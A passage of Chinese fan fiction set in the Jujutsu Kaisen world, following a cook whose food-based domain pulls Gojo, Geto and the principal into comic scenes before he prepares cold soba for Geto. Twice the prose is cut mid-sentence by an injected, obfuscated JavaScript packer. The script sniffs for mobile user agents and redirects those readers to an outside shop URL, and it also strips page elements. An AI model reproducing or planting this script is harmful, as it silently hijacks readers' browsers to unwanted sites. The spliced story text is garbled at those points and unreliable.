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栗秋焰仍是笑着。他用严谨到近乎苛责的细节,一环一环细密搭建起毫无瑕疵的极致,又一瞬间亲手打破,神情却仍如此云淡风轻,仿佛这只是理所当然而不值一提的小事。 “一切都必须为料理服务,而料理是为人服务的。”栗秋焰将刨冰放在了五条悟面前,“你是我的食客,而我是你的厨师。因此……” “你喜欢。” 栗秋焰温和道。 “所以值得。” 五条悟怔怔的。 啊,就是这种感觉。这就是为什么,只要吃过一次栗秋焰特意做出的料理,就没有人能够再次抗拒这种诱惑。 因为,作为栗秋焰的食客,真的会被“全心全意”地认真对待。 无论是风雅的千年传统,还是艺术般美味的极致平衡……这些确实很重要,但一切,都比不上五条悟这个人的喜好。 在栗秋焰的餐桌上,他不是【六眼】、不是【五条家主】、不是【最强】…… 他只是【五条悟】。 五条悟拿起勺子,舀了一勺混着草莓酱汁的冰沙,放入口中。 一瞬间,清爽冰凉的酸甜果香充斥口中,轻薄的冰粒入口即化,冰水顺着食道滑下,立时驱散了所有的燥热,大脑一片空白,全身心地沉浸在美味之中,似乎连毛孔都透着舒爽的凉气。 “……好吃。” 五条悟愣怔地拿着勺子,喃喃道:“真的……好好吃啊……” 栗秋焰仍是毫不意外,又有些得意地哼了声。 “我就说嘛,绝对会让你说出好吃的。”他理所当然道:“我可是栗秋焰啊!” 五条悟的眼瞳闪了闪,望向栗秋焰。 也就在此刻,看着那张轮廓柔和的少年脸庞,他脑海中突然闪电般出现了一个他有概念,但刚刚才真正意识到的事实。 ——栗子,好像要退学了? 五条悟心中涌出一股莫名的、连自己都不知为何的情绪,他定定地凝视着栗秋焰,似乎开口想说些什么。 但此时,空气中的咒力突然开始产生了微妙的变化。 栗秋焰愣了下,这才想起了一件被他忽略的事。 等等,他好像……一直在开着领域啊。 异变陡生,五条悟的咒力不受控制地流泻而出,依附于笼罩的波动下,仿佛交响乐中后进的乐器丝滑地融入主旋律之中。 栗秋焰眼睁睁看着,五条悟身旁标注着【喜好】的概念标签一个接一个亮起,【甜】、【凉爽】、【果味】……每亮起一个,五条悟流泻出的咒力就再次上升一层。 三个标签全亮,一个全新的标签【色彩缤纷】也缓缓浮现而出。 就在这个标签亮起时,仿佛达到了某个界限,五条悟的咒力猛然冲出,震动出庞然的共鸣。 这一切都发生在感知中,而出现在栗秋焰眼前的,则是五条悟身周猛然扩充而出的,浓稠混沌的深邃色彩,以及其中闪亮耀眼的星光。 这是……宇宙? 栗秋焰震惊地看着宇宙般的特效光彩漫延,浸染了这一方小小的空间——就是他领域包裹的范围。 他看着五条悟,发现对方同样茫然而震惊,配上身后的背景,让他不禁联想起了一张神似的表情包。 猫猫,宇宙.jpg 但栗秋焰还没来得及笑,宇宙的特效就稳定了下来,而他的表情也再次变化,与已察觉到的五条悟对视。 等等,不对,这是…… 五条悟震惊道:“我开领域了?!” 栗秋焰:“你怎么开领域了?!” “……等等。”栗秋焰顿了一下,不禁道:“这对话是不是之前发生过一次了?” 五条悟:“……” 4. 你的领域fine 五条悟抬起手,有些不可思议地来回翻转手掌。指缝间咒力不受控制地涓流溢出,仿佛拥有自己的意志般自顾自地重组、融合,自下而上闭合起一个封闭的领域。 绚丽的蓝色自眼瞳中亮起,但即使是六眼的视野也无法解明,到底他的咒力是如何被牵引出体外,又是如何膨胀成领域的。 是的,领域。即使他的大脑一片空白,但无论是六眼还是感知都在鲜明地告诉他,这就是他自己的领域。 对于领域,五条悟做过很多设想,但无论哪一种都与眼下的情况相去甚远——莫名其妙开了也就算了,这副除了漂亮毫无杀伤力的样子是怎么回事? 而且明明是在别人的领域内部展开的,却连栗秋焰的领域都打不破——喂,这也太逊了! 比起承认这是自己的领域,五条悟宁愿相信这是栗秋焰搞出来的鬼。他眯了眯眼,抬头看向头顶深邃而神秘的星空。 “等下。”五条悟察觉到了不对劲,迟疑道:“一般来说领域对冲,只有一方打破一方,或者同时熔断这两种结果……但怎么感觉,我的领域反而在给你打工啊?” 栗秋焰探出手,好奇地攥着一把虚幻的星光幻影,闻言茫然地抬起头。 栗秋焰:“啊?” “……倒是好好搞清楚啊,这也是你自己的领域吧!” 栗秋焰眨了眨眼睛,这才后知后觉地意识到……自从五条悟展开领域后,他体内的咒力流逝速度反而减缓了。 深浓的暗色充斥在领域中,细碎的星光闪烁其间,明明是五条悟的领域,栗秋焰几乎能感受到那股冰冷霸道的庞然力量,但此时却只能依附于自己领域的波动之下,不情不愿地唱出相同的主调。 栗秋焰凝视着缓缓旋转着的星体,渐渐地有些出神。 而且,是因为这领域是由自己引出的吗?甚至连五条悟自己不清楚的一些东西,却若隐若现的在他的脑海深处浮现…… 【滋滋——】 微妙的电流声响起,栗秋焰下意识吐出了那个短句。 ——“无量空处。” 五条悟:? 仿佛醍醐灌顶般,这个短句一出现便仿佛点通了什么,五条悟福至心灵,反应过来,这是自己领域的名字。 虽然仍未明白展开领域的方法,但就像是自群山漫天的白茫云雾间偶然掠过了一缕微风,于泄露的天机中窥见了一痕青翠。 五条悟脑海中若有似无地有了些明悟。这固然是极大的收获,但是…… “不对吧!”五条悟不禁喊道:“你说的——全该是我的词儿啊!” 栗秋焰:“……” 被这么一喊,栗秋焰也回过神来,但再如何细听,刚刚的电流声也没有丝毫踪迹,宛如恍惚间生出的幻觉。 栗秋焰心中仍有些疑虑,但现下探究显然得不到结果,于是暂且记了一笔搁置,还是将思维集中到领域上来。 “我明白了,这应该就像中药一样。”栗秋焰思索道:“我的领域是君药,你的是臣药。我引出你的药性,你增加我的效果……” “不要一切都用吃的来解释!”五条悟立刻打断,夸张地啧了一声:“而且老子讨厌这个比喻。” “……‘君臣佐使’只是一种方剂配伍的形式而已。跟不懂医术的文盲真是没话讲。” “你和硝子还不是老是吵架。” “起码我俩有架吵。”栗秋焰斜眼:“而你和夏油连我们在吵什么都听不懂。” 五条悟:“谁会想听你们那天书一样的对话啊!” 这边两人还在拌嘴,领域外却突然传来了一声异常的响动。 两人都停了下来。五条悟扭头,六眼中光华流转。那道响动后,空气短暂地寂静了一瞬,紧接着就是一声接一声——栗秋焰意识到那是脚步声。 声音虚浮,前重后轻,是个佝偻的老年人。 栗秋焰与五条悟对视了一眼,确认了心中所想。 “是那个老橘子校长。”五条悟突然道。 栗秋焰点了下头,感叹道:“他竟然还在这里啊,我都把他忘了。” “不愧是你。”五条悟送上赞美:“虽然我也是。” 随着时间流逝,五条悟领域带来的宇宙特效变淡了一些,因此栗秋焰终于透过邃黑泛蓝的色彩,看到了老头的身形。 看不清老头脸上是什么样狰狞的表情——毕竟前脚强迫退学的废柴后脚就开了领域,估计比杀了他还难受——但能感觉到,阴沉的视线正死死地盯着自己。 老头抬起手,似乎准备强行打破领域。 但面对这强烈的愤恨,以及迫近的危机,栗秋焰却没什么反应,站在原地连动都没动一下。 “嗯……”栗秋焰沉吟片刻,扭头道:“看起来你的特效只有领域内的人能看见啊。” “我想也是。”五条悟煞有其事地点了点头:“不然按老橘子那昏花的老眼,应该连我们人在哪个方向都看不清。” 校长:“……” 老头的表情更扭曲了,他将另一只手猛地抬起,似乎准备加大咒力输出,但急促的动作,让他的身体稍微向前倾了一些。 于是干枯的手指触上了领域的边缘,接着没有任何阻碍地伸了进去。 老头愣了一下,脸色骤变,立马就想抽手。 但已经来不及了,他的指尖,已经进入了领域的内部。 领域中骤然传来一股无法抵抗的巨大吸力,栗秋焰睁大眼睛,看着老头夹杂着愤怒恶意惊恐的脸越来越近,从那额上臂上暴起的青筋,可以看出他的挣扎有多拼尽全力。 但是没有,老头的脸仍是一点点靠近,接着在惊恐达到顶点时,透过深浓如水的宇宙色彩,浮现在栗秋焰的眼前。 而就在他穿过领域的那一刻,老头脸上的表情瞬间一片空白,浑浊的眼珠呆滞着,挣扎的身体也放松下来,僵硬地呆立在领域内部。 可以肯定,栗秋焰的领域刚开时是没有这个效果的,前后的变量只有一个,那么这效果是怎么来的就很明显了。 “哇哦。”五条悟凑过去,戳了戳校长一动不动的脸,眉飞色舞地吹了声口哨,“果然,老子的领域就是强!” 老头被这一戳像是激发了什么开关,游尸般一步一缓地走到桌前,干瘪的嘴唇张开。 “我要……吃饭……”老头无意识地重复着:“我要……吃……” 栗秋焰眨眨眼。 ——啊,差点忘了,虽然是五条悟开启的效果,但领域的主导者毕竟是我呢。 所以最终会导向料理相关的结果,也就不奇怪了。 “哇哦。”栗秋焰看了眼五条:“确实强,所以现在也是我的领域了。——这怎么不是一种双赢呢?” 五条悟:…… 总结了一下发生的情况,栗秋焰心中已大概清楚了自己领域真正的作用。 只要食客身处领域内,他就能看到ta对于料理喜恶的概念标签,而这时只要做出一道符合ta四个喜好标签的料理,食客就会在吃下去的瞬间开出领域。 这一过程无法控制,食客本人对于自己的领域信息一概不知,只提供咒力源泉的作用。 ……说真的,这是什么大量批发领域的菜市场吗。 栗秋焰甩甩脑袋,把脑子里“AAA领域批发”的奇怪即视感丢掉,继续刚刚的思考。 不过这样开出的领域,又确实是食客本人的生得领域和术式扩展而来的领域展开……只不过,会依附于栗秋焰的领域下,呈现出被扭曲后的效果。 也正因为是栗秋焰作为主导,所以无论多强的领域、多恐怖的作用—— 最后只有一个结果,那就是条条大路通做饭。 除此之外,栗秋焰本人的认知,也与领域的触发机制息息相关。 栗秋焰已经发现了。 自己“认知”中的料理特点,虽然与领域计入条数的特点标签基本吻合,但仍有一些不一样的地方。 比如一开始,他看到五条悟的喜好标签是【甜】【凉爽】【果味】,在吃下加了和果子的草莓刨冰后,才出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13162989|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现了新的喜好标签【色彩缤纷】。 栗秋焰猜测,一开始五条悟的喜恶标签,其实是根据自己本身已有的认知整理出来的。 因为他知道五条悟的口味,所以领域就把这些原本就知道的情报,整理成了肉眼可见的标签。 而【色彩缤纷】,就属于他“认知”中不存在的喜好特点。 不管是他不知道,还是不认为这是喜好……但总之,这部分位于他认知盲区的标签,就会在吃到含有相应标签的料理时,再浮现并固定下来。 比如草莓刨冰,栗秋焰推测它的基础标签必定含有【甜】【凉爽】【果味】,而【色彩缤纷】则是通过添加了颜色鲜艳的和果子,无意识将和果子的这个标签赋予了上去。 于是,当五条悟吃到这份拥有四个喜好标签的草莓刨冰,才触动了机制,开出了这个扭曲版的【无量空处】。 栗秋焰眼珠转了转,看向了呆滞坐着的老头。 老头身周一片空白,一个喜恶标签都没有——这也正常,毕竟因为栗秋焰完全没关心过校长的口味。 再多推测不如一次实践。 栗秋焰略加思索,然后从小推车底下翻出一个硬邦邦的馒头,扔到了校长老头面前。 栗秋焰:“嗟,来食。” 五条悟:“……” “我一般很少认为有人能比我更加不尊重校长。”五条悟真心诚意道:“栗子,你做到了。” “说什么呢。”栗秋焰头也不抬:“我已经退学了,这老头算我哪门子的校长?” 五条悟一愣。 栗秋焰仍在思考,他只能看见食客的标签,看不见料理的标签,因此他只能大概加以推测。 ——馒头,应该基础标签会有【清淡】【家常】【实惠】吧? 表情一片空白的老头拿起了馒头,往常看都不会看一眼的食物,现在却仿佛收到了什么必须执行的命令,颤颤巍巍地往嘴里塞。 第一口咬下——没咬动。 老头的动作停滞了一下。接着他嘴唇抵上馒头,开始用仅剩的牙齿慢慢磨——终于磨下了一小块馒头皮。 五条悟不禁发出了感叹:“……你真不是人啊。” 而随着这一口馒头皮下去,如栗秋焰所想,老头的身周忽闪着浮现出了三个标签。 喜好:【清淡】 厌恶:【实惠】【家常】 果然。不在“认知”中的标签,会在食客吃到含有对应标签的料理后出现。 栗秋焰若有所思。 一边思索着,他一边习惯性地回嘴。 “厨师才有怜悯之心,栗秋焰没有。”栗秋焰说:“毕竟我家的家训一向是人不犯我,我不犯人。” “……上次你还说你家的家训是做熟人不能夹生。”五条悟狐疑道:“所以,人若犯你……?” “放点葱姜蒜八角。”栗秋焰呵呵一笑:“高压锅焖三个小时就老实了。” 五条悟:“……” 五条悟开始沉重地思考,昨天偷偷蹭了一碗的骨头汤有没有什么奇怪的味道。 就在这时,本就愈发浅淡的宇宙色彩终于肉眼可见的稀薄起来,星光熄灭,摇晃着即将消失。 栗秋焰抬头,不禁道:“原来食客开出的领域,是有时间限制的吗……” “不是。”五条悟说。 “嗯?” 五条悟所持的六眼,能够使他最高效率地运用咒力,所以如果真是他自行在正常情况下的领域展开,应该能持续很长时间。 但是显然,由栗秋焰激发的领域,并没有如此贴心的效果。 所以…… “是我要被你吸干了。”五条悟诚恳道。 栗秋焰:? 刚巧回来,一只脚踏上最后一级台阶的夏油杰:……? 听到这话,夏油杰不禁发出了疑问。 “你们又在干什么?” 栗秋焰来不及提醒,就见夏油杰接着向前—— 然后,一脚踏进了领域内部。 5. 事已至此先吃饭吧 夏油杰一脚踏入领域内部,当即睁大了眼睛。 “你开领域了?!”夏油杰震惊地看向栗秋焰。 “复读机台词就此打住。”栗秋焰抬起手:“看,老登醒了。” 夏油杰:? 他疑惑地转头,这才看见了边际处消失的一抹黑蓝色彩,以及口水流了一下巴,才把最后一大口馒头塞进嘴里,回过神来的校长。 “校长。”夏油杰关心道:“您果然还是老年痴呆了吗?” 老头一清醒过来就听到这一句,一口气险些没上来,瞪大眼睛怒视夏油杰,接着又抖着手指恶狠狠指向栗秋焰。 “你、你……” 老头气急败坏地张口就想骂人,但嘴里一大口馒头还没咽下去,于是不幸的结果发生了——他噎住了。 眼看老头锤着胸口直翻白眼发出呃呃声,剩下的三人顿时一同紧张了起来。 栗秋焰满脸焦急慌张。 “别死我门口啊!我今天刚开张!” “你别过来!”五条悟端着刨冰迅速远离,警惕道:“这是我的!” “快拿水——等等你们都在说些什么啊!”夏油杰惊道:“校长要噎死了啊!” 老夫怎么可能被一块馒头噎死!就算今天死在这里,也一定是被你们几个小兔崽子气死的! 夏油杰眼尖地看到玻璃瓶的亮光一闪而过,迅速从小推车上抄起一瓶汽水。 “校长,水……” 起码还有一个稍微懂得尊重师长的。 校长心下稍宽,抬手就要接过。 “栗子退学了。”五条悟突然说:“校长强迫的。” 夏油杰表情一变,立时收回手,老头的手抓了个空。 非但如此,夏油杰还仰起头,盖子一拧咕嘟喝了两大口。 老头:!!! “还挺好喝。”夏油杰说:“气泡水?” “是啊,一起打折买的。”栗秋焰:“今晚零点过期。” 夏油杰:…… 夏油杰还没说话,就听校长发出最后一声崩溃的气音,连瞪他们一眼都来不及,一边用力拍着胸口,一边连滚带爬地冲了出去。 栗秋焰手搭在眼上,目送着老头四肢并用、半摔半绊的背影飞快移动,消失在眼前。 “真是老当益壮啊。”栗秋焰感叹道:“看这精神头,拉磨起码能磨半袋玉米面。” “……一定要用看驴的眼神来看校长吗。” 夏油杰同样坐了下来,斜瞥了一眼身旁的五条悟,这不靠谱的白毛正眼睛发亮地一勺接一勺挖冰沙,看来指望他解释是不可能的了。 于是夏油杰叹了口气,重新看向了栗秋焰。 “所以,焰。”夏油杰凝重道:“退学是怎么回事?还有,你的领域……” “退学……嘛,你就当是因为我任务失败了吧。”栗秋焰耸了耸肩:“就那个保存宿傩手指的任务。” 夏油杰立刻眉头皱起。“他们还是让你去了?那对你来说可是要命的任务啊。” “所以我直接跑了。”栗秋焰深沉道:“我的命可是很珍贵的!失去了我,整个料理界都要少放半勺油默哀——世界会毁灭的!” “……请收起你夸张的自信。那么,宿傩手指呢?” “大概,也许被咒灵藏起来了吧。”栗秋焰眼也不眨。 “感觉怪怪的……焰你不会又在胡诌吧?要是真有拥有智力的特级咒灵,天南海北我都会去祓除的。” “也许真有呢。”栗秋焰挑了下眉:“毕竟到现在都风平浪静,没发生任何乱子不是吗?” 夏油杰半信半疑。 “安心啦。”栗秋焰开玩笑道:“等以后我出去摆摊遇到了这种咒灵,就把它关在我的领域里等你来,这样总行了吧?” 夏油杰也没当真,笑了一声也就略过了,顺势问起了另一个问题。 “那你的领域?” 栗秋焰思考了一下。 他领域的效果离奇复杂,一时半会解释不清。而且他也只是有一个基础的概念,很多问题还没搞清楚。 虽然现在看起来,他的领域只有通过料理激发他人领域,然后加以扭曲控制这一个效果……但他总觉得有点不对劲。 那假如五条悟不在,别的人进入领域后不吃料理呢?或者索性直接攻击他呢? 能卡bug的可能性太多了,所以栗秋焰才感觉不对劲。虽然这么说有点自恋,但他能感觉到,他的领域……绝不可能只有这一个特性这么简单。 他需要更多的食客——嘛,不过本来他就打算到处摆摊的,顺手开个领域的事,反正他咒力够多。 而且,栗秋焰还没忘记……那道在大脑深处突兀响起的奇怪电流声,可还没找到原因呢。 当然这都仅限于自己的思考中,面对夏油杰,就没必要说这么多了。 “其实我自己也没搞清楚。”栗秋焰说:“被退学,稀里糊涂开了领域……一切都发生得太快了。” 夏油杰深深皱眉:“那你以后怎么办?” 咒术师容易被咒灵盯上,栗秋焰几乎没有自保能力,离开高专的庇护十分危险,更何况他还是个16岁高中生。雪上加霜的是,他还得罪了高层……这情况简直一团乱麻。 但面对这个问题,栗秋焰的表情却没什么变化。 “嗯……确实有点麻烦。” 砰一声,一口煮锅被放在了桌面上。 “但反正事已至此。”栗秋焰淡定道:“先吃饭吧。” 夏油杰:“……” 五条悟笑嘻嘻地凑过来,撞了一下夏油杰的肩膀,“你这就叫什么,栗子说过的……那个什么天皇很急……” “是皇帝不急太监急。”栗秋焰接道。 “差不多啦。”五条悟拍了拍夏油杰的肩,字正腔圆道:“杰,你真是皇帝不急太监急啊。” 被科普过“太监”是什么的夏油杰:“……” “好了,差不多行了。”栗秋焰严肃道。 夏油杰一怔,刚心想这人难道被退学后大彻大悟,转性了? 然后,就看到栗秋焰张开了口。 “你别开这种玩笑——因为我要开。” 说完后他顿时起范儿,昂头挺胸,手指在眼前缓扫,抚过额前并不存在的冕旒,装模作样地咳嗽了两声,向面前两人抬了抬手。 “诸位爱卿平身。”栗秋焰刻意加重了声音:“小夏子,取一瓶朕的气泡水呈上来。” 夏油杰:…… 他面无表情地看着栗秋焰,放在桌上的手举起,缓缓捏紧了拳头。 “陛下!”五条悟立刻开演,“我看小夏子有图谋不轨之心啊!” “当真如此?”栗秋焰龙颜大怒,紧接着作沉思状,夸张地抹了一把空气眼泪。 “本来见小夏子饥肠辘辘,朕不忍,准备做一顿晚饭以慰人心,但现在看来,朕的好意终究是错付了……” 栗秋焰的话说得半文不白,夹杂着大河剧般的古怪腔调,还有一些不知从哪看来的奇怪电视剧台词……但反正,夏油杰还是准确捕捉到了关键信息。 栗秋焰要给他做晚饭! 于是能屈能伸的夏油杰立刻神色一变,伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13162990|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手拿了一瓶气泡水,双手放到了栗秋焰抬起的手上。 “谢陛下。”夏油杰捧读道。 五条悟爆发出一阵大笑。 栗秋焰也噗地一声破功了,笑着摆手,“不玩了不玩了,做饭了,尬得我头皮发麻。” “陛下,别啊。”五条悟指着自己,笑嘻嘻道:“我呢我呢?我的代号是啥?” “……”栗秋焰想了一下:“条子?” 说完后他自己笑出了声,但显然对面并没有人懂他的幽默,于是他笑了一阵后就停下了。 “哎。”栗秋焰沉重地掀开锅盖,“寂寞何以堪。” “……不要莫名其妙在这里插入俳句啊。”夏油杰吐槽道:“你的文化素养除了难懂的冷幽默之外,就不能好好用在其他地方吗?” “当然!我可是有好好用在全世界最要紧的正事上面——”栗秋焰笑眯眯道:“那就是做饭。” 夏油杰:“……我就知道。” “对现在的你来说,也很要紧吧。”栗秋焰轻飘飘道:“毕竟你明明试着去吃晚饭——却连连作呕,一点也没能吃下去呢。” 夏油杰怔了怔。 随着一声若有似无的叹息,夏油杰向后靠了靠,显然放松了下来,面容显出几分任务后的疲惫,向栗秋焰苦笑了下。 “又被你看出来了啊,焰。”夏油杰无奈道:“说真的,你其实是什么高中生侦探吧?” “真相永远只有一个!……不对串台了。”栗秋焰耸了耸肩,“没办法,专业对口——在‘吃’上,你不会以为能瞒过我吧?” “杰一开始,明明是想瞒一辈子的吧。”五条悟挖着刨冰,漫不经心道,“没想到直接被看穿了呢。” “……又不是什么大事。特意去说出来很奇怪吧?”夏油杰顿了一下,“而且就算说出来,也改变不了什么……” “喂你在看不起谁啊!我都说了,没有人可以拒绝我栗秋焰!” 栗秋焰怒目而视,哼了一声。 “而且,最起码……” 栗秋焰的声音温和下来,碧潭般深邃的眼眸,专注而认真地看向夏油杰。 五条悟一看就明白——栗子,再次进入那种状态中了。 “最起码,你不用再独自一人,吞下看不到尽头的痛苦。”栗秋焰溪水般清澈的声音缓缓道:“我完全理解,那积攒而起的,是怎样一种深刻沉重的隐痛——” “他人无法共情。但最起码此刻,你不再是孤身一人。身为你的厨师,我将与你一同分担。这是我的责任,也是我的希望……” “最起码——” 栗秋焰微笑着轻声道。 “我能让你,好好吃上这一顿晚饭。” 夏油杰怔住了。紧接着他也牵起了嘴角,笑着深深地吐出了一口气。 太阳已经落山,空气微微凉了些许,风吹过林间青雾,夏油杰的眉头舒展开来,向栗秋焰笑了笑。 “那么,我就期待着了。” 银光一闪,栗秋焰指间转了个漂亮的刀花,看向夏油杰。 空气中,只有他能看见的概念标签,在夏油杰身周,缓缓浮现而出。 喜好:【酸】【凉爽】 厌恶:【重油】【灼热】 栗秋焰挑了挑眉,嘴角勾起,眉眼间流淌着胸有成竹的自信笑意。 “好啊,你就尽情期待着吧!”栗秋焰笑着眨了眨眼:“没准还会有惊喜哦。” 一旁的五条悟眼睛发亮:“哦哦,要来了吗!杰的‘那个’不知道是什么样——不过肯定没我的强!” 夏油杰:……? 6. 夏油杰和荞麦冷面 嘛,虽然这么说了…… 碧绿的眼瞳转了转,那边的dk二人组又开始了没营养的日常对白,在这全自动抬杠背景音中,栗秋焰视线扫过简陋的台面,微微皱了下眉。 还是老问题,事发突然,材料与烹饪方式都太过有限。 而且与吃饱了的五条悟不同,夏油杰到现在还饿着,也就是说他现在需要的不是甜点或凉菜,而是一道正经的、能填饱肚子的主食料理。 说到主食,无非就是米、面。而在日常料理中,米饭的可搭配性更强。 如各类盖浇饭、煲仔饭,酱汁均匀裹满每粒米饭,油脂的香味足够勾起任何人的食欲……又比如清淡温养的汤饭,热汤鲜美、米粒甘甜,更适合在食补上发挥;冷汤比如梅子茶泡饭,清爽宜人、生津止渴,这样酷夏的晚上吃最能令人胃口大开。 但是…… 栗秋焰抬眼瞥了一下夏油杰的面容,又往下看了一眼他的小腹——结合上这个脉搏,没跑了。 “似饥不饥,似痛不痛;胸膈懊憔,烦怫杂乱……”栗秋焰若有所思:“果然,是胃中嘈杂之症。” 夏油杰:“?” 五条悟:“……又来了,天书。你不会真以为有人能听得懂吧?” “硝子就听得懂啊——虽然她不认可就是了。但你们两文盲,人不行别怪路不平,OK?” 栗秋焰一边往锅中倒水,一边随意道。 “你现在是不是恶心想吐,吞咽泛酸,舌根发苦,隐隐有胸闷肋痛……” 夏油杰的眼睛逐渐睁大,是个人都能看出每一条都说中了。 “那么栗子神医。”五条悟举起手:“这到底是怎么回事呢!” “不是医生是厨子——不过虽然嘈杂病机很多,但大部分都是为饮食所伤。” 栗秋焰另分一小碗盛了水冰,湿热晚风中,冰块碰撞碗沿发出清脆的响声,他探手碰了下外壁的温度,点点头放在一边。 “哦——”五条悟想了想:“是不是因为咒灵玉啊?” 夏油杰:“……又不是真的食物,没有吞进胃里,而且那没毒。” “难吃本身就是一种毒。”栗秋焰严肃道,但他紧接着又摇了下头,“不过,主症确实不是这个。” “那是什么?” “肝气不和,故而横逆犯胃。肝主疏泄,郁闷恼烦不得疏……” 栗秋焰抬起眼皮,眼瞳静澈。在那一瞬间,夏油杰突然有种被全然洞悉的无措感。 栗秋焰注意到他微有些避开的动作,眯了眯眼,想了想还是决定轻轻放过。 “简而言之,想事儿太多烦的。”栗秋焰淡定道:“怎么,在想如何推动咒术界传统产业转型升级吗,想你的风还是吹到了高专?” 夏油杰:“……” 栗秋焰将一束东西投入盆中浸泡,夏油杰看清后一愣。 “荞麦面?” “嗯哼。”栗秋焰漫不经心道:“嘈杂之症随时间加重,得食即暂止,所以对你来说,越快吃上东西越好——那么,‘时间’也必须加入考虑。” 米虽好,但煮米需要时间,所以只能是面。 而要说所需材料少、烹饪时间少,同时还消暑解燥、清爽适口…… “果然,还是冷面吧。” 栗秋焰在锅中继续加入酱油、味淋,然后开火打热煮锅,敞着盖等水滚开。 味淋又叫米霖,类似于米酒,味甜有酒香,品质高的能尝出幽甘的谷物香气,是一种很具代表性的日式调料。 看到这个,夏油杰也认出来了。 “这是……中华冷面?” 栗秋焰的表情顿时微妙起来。 “嗯……我家一般是叫‘日式冷面’的。”栗秋焰深沉道:“毕竟这就像天津饭一样,实物跟种花实在没什么关系……” 种花的冷面集中在东北,酸甜口出名的有延边朝鲜族冷面、佳木斯冷面;咸鲜口的也有鸡西冷面。 日本家常料理的“中华冷面”……跟这些统统没有半毛钱关系。 “离谱!滑天下之大稽!这根本不是冷面!” 记忆中的妈妈挥舞着筷子,愤怒之意溢于言表。 “我就不说用甘草辣椒桂皮香叶八角熬原汤了,辣椒酱呢,不现做、放都不放?!最过分的是——底汤竟然不用牛骨清汤?!” “还有你个小王八蛋,不许琢磨你那个日式冷面的融合改良了,你简直是倒反天罡——” 栗秋焰抖了抖,沉痛地叹了口气,用千帆过尽般的沧桑感唏嘘道:“总之,别蹭。” 咕嘟咕嘟的声音响起——水开了。 栗秋焰任它继续沸腾,让蒸汽将味淋中的酒精带走,他动了动鼻子,闻到蒸腾出的热气中酒气散尽,唯余谷物的甜香时才关上了火。 接着,栗秋焰又依据常规做法加入盐和糖,趁着底汤尚热搅拌溶解,接着切了个黄瓜,一半做片一般做丝儿,将片儿放进锅中。 “……哎,竟然这一步放吗?” 夏油杰盯着栗秋焰的动作,不知想起了什么,有些愣怔地低声喃喃道。 “我还以为是在面上码好配菜,然后再淋汤……” “还没到那一步呢。这汤里的等会要捞出来,只取这黄瓜的清香。” 虽然夏油杰声音极小,但还是被栗秋焰敏锐的耳朵捕捉到了,他头也不抬,随口笑了句:“怎么,有研究?以前常吃啊?” 这一句本是顺口,但没想到夏油杰倒真露出了有些恍惚的神色。 “……是。”他回忆道:“以前每个夏天……我母亲都会做。” “哦?” 栗秋焰挑了下眉。 其实他选择做日式冷面,一方面有食材和时间的原因,另一方面也是想要给人安心感——毕竟对于心情低落的人来说,还是熟悉的料理菜式更容易升起食欲。 没想到误打误撞,竟然还引出这一段。 “小时候第一次吃很惊艳,但在夸过‘好吃!’后,母亲就开始经常做,之后就习惯那个味道,没有那种美味的惊艳感了。” 夏油杰笑了笑,带着回忆的表情感叹道。 “但很久没吃,又有种似乎虚度了夏天的感觉。真奇怪,明明也才一年,但总感觉那是很久之前了。啊,说起来,我也很久没和他们联络了……” 面对父母的疑问,他不知该如何解释,又觉得解释无用,到最后,连争辩与寻求理解都欠奉了。 有时他看着空荡荡的手机屏幕也有些自嘲。普通人无法理解什么是特级,也许那对父母宁愿要一个按部就班的普通人儿子吧? 五条悟咬着勺子眨了眨眼。“很少听杰说进入高专之前的事呢。” 夏油杰回过神来。 “毕竟他们是普通人。”夏油杰移开视线:“聊这个也没什么意义吧。” 咚! 两人一惊,转头看到栗秋焰将一个柠檬一刀剁半,脸上的表情有些无语。 “早就想说了,咒术师不就是个职业吗,就跟魔法少女和假面骑士一样。”栗秋焰吐槽道:“不都是一样的人,吃一样的饭么。” 他一边说着,一边徒手将柠檬汁挤进锅中,接着掏空果肉,用糖擦了擦表皮后再扔进锅中,这样处理的柠檬皮苦味尽祛,会为浸泡的汤底增添果香。 “栗子不懂的啦。”五条悟懒懒道:“毕竟你是半道才突然能【看见】的嘛。” “……嘛,虽然我是突然当咒术师,但我又不是突然当天才的,大概理解你们的意思啦。” 栗秋焰盯着柠檬皮在汤中舒展,漫不经心道。 “不过反正就我来说,人都只是人,酸甜苦辣、喜怒哀乐,感情总是相通的。大家都只是吃着饭,过着自己的生活……啊,好了。” 差不多了,栗秋焰捞出黄瓜和柠檬皮,只留下清透的汤底。 栗秋焰在放柠檬前就剥夺了【滚烫】概念,汤底早已凉了,他接着倒了一小勺果醋、一小勺姜汁,最后点了一滴鱼露。 从这里开始,就完全是属于栗秋焰本人的独特做法了。 他吸取种花家凉面的做法,将日式凉面中的汤底在原本的基础上做了改良。先将普通的醋替换成了果醋,使酸味更柔和;姜汁则去腥增香,而鱼露,一点就能瞬间使鲜味提升一个大层次。 之前和草莓一起买了苹果梨子,这里正好用上。没有榨汁机,栗秋焰将梨子切碎,用刀背压出汁水,在汤底又加入了一些梨汁。 梨止燥消渴,对嘈杂之症大有裨益。且汁水甘而微酸,能进一步突出果香,调和口味。 原本必放的芝麻油,栗秋焰选择了省略。在这一点上他认同种花家凉面的标准——冷面汤必须干净,一点油星都不能没有,夏天看着就清爽舒坦。 